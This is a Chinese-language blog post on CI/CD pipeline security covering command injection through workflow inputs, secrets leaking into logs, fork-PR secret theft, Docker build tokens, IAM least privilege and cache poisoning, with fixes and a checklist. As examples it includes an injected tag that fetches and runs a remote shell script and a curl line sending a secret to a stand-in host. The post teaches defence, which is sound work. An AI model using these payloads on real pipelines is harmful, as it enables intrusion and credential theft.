CI/CD 不是自动化,是“自动暴露风险”?聊聊流水线安全那些你踩过却没意识到的坑

举报
Echo_Wish 发表于 2026/03/24 16:16:32 2026/03/24
【摘要】 CI/CD 不是自动化,是“自动暴露风险”?聊聊流水线安全那些你踩过却没意识到的坑

CI/CD 不是自动化,是“自动暴露风险”?聊聊流水线安全那些你踩过却没意识到的坑


说句扎心的实话:

现在很多团队的 CI/CD,不是提效工具,而是漏洞放大器

你本来只有一个服务能被攻击,
结果一条流水线,把:

  • Git 仓库
  • 构建环境
  • 云账号
  • 生产集群

全都串在了一起。

一旦被打穿——
👉 恭喜,直接“打包送走全家桶”。

今天咱就聊两个最容易被忽视、但最致命的问题:

👉 pipeline injection(流水线注入)
👉 凭证泄露(credential leakage)

我不讲教科书,就讲真实场景 + 怎么防。


一、最隐蔽的攻击:你以为是参数,其实是命令

很多人写 pipeline,习惯这么搞:

steps:
  - name: build
    run: |
      docker build -t myapp:${{ github.event.inputs.tag }} .

表面上看:

👉 用户传个 tag,很正常

但如果攻击者传的是:

v1.0; curl evil.com/shell.sh | bash

那最终执行变成:

docker build -t myapp:v1.0; curl evil.com/shell.sh | bash .

👉 直接命令注入成功

这就是典型的:

👉 pipeline injection


正确姿势:不要相信任何输入

你要做的是“白名单 + 转义”,而不是“直接拼”。

方法一:严格校验

if [[ ! "$TAG" =~ ^[a-zA-Z0-9._-]+$ ]]; then
  echo "Invalid tag"
  exit 1
fi

方法二:不要用 shell 拼接

改成参数传递:

run: |
  docker build -t "myapp:${TAG}" .

👉 注意双引号,防止分号解析


二、你以为凭证是安全的,其实早就被打印出去了

这是我见过最多的事故类型。

比如:

env:
  AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}

steps:
  - run: env

👉 恭喜你:

密钥直接出现在日志里了


更隐蔽一点的:

echo "Deploy with key: $AWS_SECRET_ACCESS_KEY"

👉 CI 日志:

永久保存 + 所有人可见


正确姿势:凭证要“最小暴露”

方法一:用平台内置 masking

比如 GitHub Actions 自动 mask:

echo "::add-mask::$AWS_SECRET_ACCESS_KEY"

方法二:只在需要的步骤注入

steps:
  - name: deploy
    env:
      AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
    run: deploy.sh

👉 不要全局 env


方法三:避免 echo / debug 打印

很多人喜欢:

set -x

👉 这玩意会打印所有命令(包括密钥)

👉 生产环境:

必须禁用


三、最容易被忽视的一点:PR 也能打你

很多团队开了:

👉 fork PR 自动触发 pipeline

这其实是个大坑。

攻击方式:

  1. 提交恶意 PR
  2. 修改 pipeline
  3. 窃取 secrets

真实例子:

- run: curl evil.com?key=$SECRET

只要 CI 在 PR 上跑:

👉 secrets 就被偷走了


正确做法:隔离信任边界

GitHub Actions:

on:
  pull_request:
    types: [opened, synchronize]

jobs:
  build:
    if: github.event.pull_request.head.repo.full_name == github.repository

👉 只允许“同仓库 PR”使用 secrets


四、容器构建阶段:你以为安全,其实已经被埋雷

Dockerfile 也是攻击面。

错误示范:

ARG TOKEN
RUN git clone https://$TOKEN@github.com/private/repo.git

👉 问题:

  • TOKEN 会进入镜像层
  • 可以被 docker history 查到

正确姿势:用 BuildKit secrets

DOCKER_BUILDKIT=1 docker build \
  --secret id=token,src=token.txt .
RUN --mount=type=secret,id=token \
    git clone https://$(cat /run/secrets/token)@github.com/private/repo.git

👉 优势:

  • 不进入镜像层
  • 构建后自动销毁

五、权限控制:别让 CI 拥有“上帝视角”

很多公司默认:

👉 CI 拥有全部权限

比如:

  • 可以删除生产资源
  • 可以访问所有云账号

这就是:

👉 最危险的设计


正确做法:最小权限原则(IAM)

比如 AWS:

{
  "Effect": "Allow",
  "Action": [
    "s3:PutObject"
  ],
  "Resource": "arn:aws:s3:::my-bucket/*"
}

👉 CI 只做一件事:

上传文件


六、再说一个很多人没意识到的坑:缓存污染

CI 常用缓存:

- uses: actions/cache@v3

但如果 key 可控:

key: ${{ github.ref }}

👉 攻击者可以:

  • 写入恶意缓存
  • 下次构建被复用

正确姿势:

key: build-${{ hashFiles('**/package-lock.json') }}

👉 缓存绑定内容,而不是输入


七、我自己的一个“踩坑总结”

说点真心话。

我以前也觉得:

👉 “流水线只是自动化,不是安全边界”

后来踩过一次事故:

  • CI 被注入命令
  • 拿到云密钥
  • 直接删资源

那一刻你会明白:

👉 CI/CD 本质是“最高权限入口”

因为它能:

  • 读代码
  • 用密钥
  • 操控生产

它比任何一个服务都“危险”。


八、给你一套实战 Checklist(建议收藏)

上线前,过一遍:

pipeline injection 防护

  • [ ] 所有输入做白名单校验
  • [ ] 不拼接 shell 命令
  • [ ] 使用参数化调用

凭证安全

  • [ ] 不打印 secrets
  • [ ] 不全局 env
  • [ ] 使用 masking
  • [ ] 禁用 set -x

PR 安全

  • [ ] fork PR 不使用 secrets
  • [ ] pipeline 修改需要 review

构建安全

  • [ ] 不在 Dockerfile 写明文 token
  • [ ] 使用 BuildKit secret

权限控制

  • [ ] CI 使用最小权限
  • [ ] 不使用 root / admin

结尾

很多团队天天在做:

👉 安全扫描
👉 漏洞修复

但却忽略了一个最致命的地方:

👉 流水线

你可以有再强的防火墙,
但只要 CI 被打穿——

👉 一切都是“内网操作”。

所以我一直说一句话:

👉 CI/CD 不是效率工具,它是你系统的“总闸门”。

门开着,谁都能进。

【声明】本内容来自华为云开发者社区博主,不代表华为云及华为云开发者社区的观点和立场。转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息,否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。